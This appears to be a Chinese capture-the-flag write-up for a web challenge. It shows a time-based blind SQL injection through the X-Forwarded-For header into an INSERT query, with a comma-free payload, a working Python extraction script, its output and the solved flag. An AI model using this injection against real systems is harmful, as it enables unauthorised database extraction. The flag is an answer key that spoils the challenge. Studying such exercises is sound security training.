实验吧-who are you

who are you

原题链接

http://ctf5.shiyanbar.com/web/wonderkun/index.php

我要把攻击我的人都记录db中去!

分析

一开始我也以为是X-Forword-For伪造IP那么简单,后来试了几次发现,虽然能改IP,但是没什么用。

才注意到将IP放入db的提示,怎么放,insert于是猜测,可能是insert into注入。

于是这个题其实和BugKu的一个题很像,不同的是这题的注入点在数据包请求头的XFF位置。
也是时间盲注,由于过滤的逗号,要用from for代替。

payload:

(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" 

脚本如下:

# -*- coding:utf-8 -*-
import requests
import sys
import string
# 基于时间的盲注,过滤了逗号 ,
strset = string.ascii_letters+string.digits

sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in strset:
        sqli = sql.format(i, ch)
        #print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=6)
        except:
            flag += ch
            print(flag)
            break

运行结果:

正在猜测: 1
c
正在猜测: 2
cd
正在猜测: 3
cdb
...
cdbf14c9551d5be5612f7bb5d286
正在猜测: 29
cdbf14c9551d5be5612f7bb5d2867
正在猜测: 30
cdbf14c9551d5be5612f7bb5d28678
正在猜测: 31
cdbf14c9551d5be5612f7bb5d286785
正在猜测: 32
cdbf14c9551d5be5612f7bb5d2867853

flag

ctf{cdbf14c9551d5be5612f7bb5d2867853}

知识点

sql时间盲注,XFF,insert into注入

你可能感兴趣的:(实验吧-who are you)